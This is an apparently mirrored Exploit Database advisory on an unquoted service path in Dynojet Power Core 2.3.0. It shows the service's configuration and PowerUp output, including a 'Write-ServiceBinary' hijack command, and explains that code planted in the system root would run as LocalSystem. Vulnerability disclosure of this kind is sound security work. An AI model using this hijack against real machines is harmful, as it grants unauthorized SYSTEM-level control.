Dynojet Power Core 2.3.0 – Unquoted Service Path

• Exploit Database
• 44 阅读

• 作者： Pedro Sousa Rodrigues
  日期： 2021-11-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50466/

• # Exploit Title: Dynojet Power Core 2.3.0 - Unquoted Service Path
  # Exploit Author: Pedro Sousa Rodrigues (https://www.0x90.zone/ / @Pedro_SEC_R)
  # Version: 2.3.0 (Build 303)
  # Date: 30.10.2021
  # Vendor Homepage: https://www.dynojet.com/
  # Software Link: https://docs.dynojet.com/Document/18762
  # Tested on: Windows 10 Version 21H1 (OS Build 19043.1320)
  
  SERVICE_NAME: DJ.UpdateService
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 3 DEMAND_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : DJ.UpdateService
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  PS C:\Users\Developer> Get-UnquotedService
  
  
  ServiceName: DJ.UpdateService
  Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
  ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
   Permissions=AppendData/AddSubdirectory}
  StartName: LocalSystem
  AbuseFunction: Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
  CanRestart : True
  Name : DJ.UpdateService
  
  ServiceName: DJ.UpdateService
  Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
  ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
  StartName: LocalSystem
  AbuseFunction: Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
  CanRestart : True
  Name : DJ.UpdateService
  
  #Exploit:
  
  A successful attempt would require the local user to be able to insert their code in the system root path (depending on the installation path). The service might be executed manually by any Authenticated user. If successful, the local user's code would execute with the elevated privileges of Local System.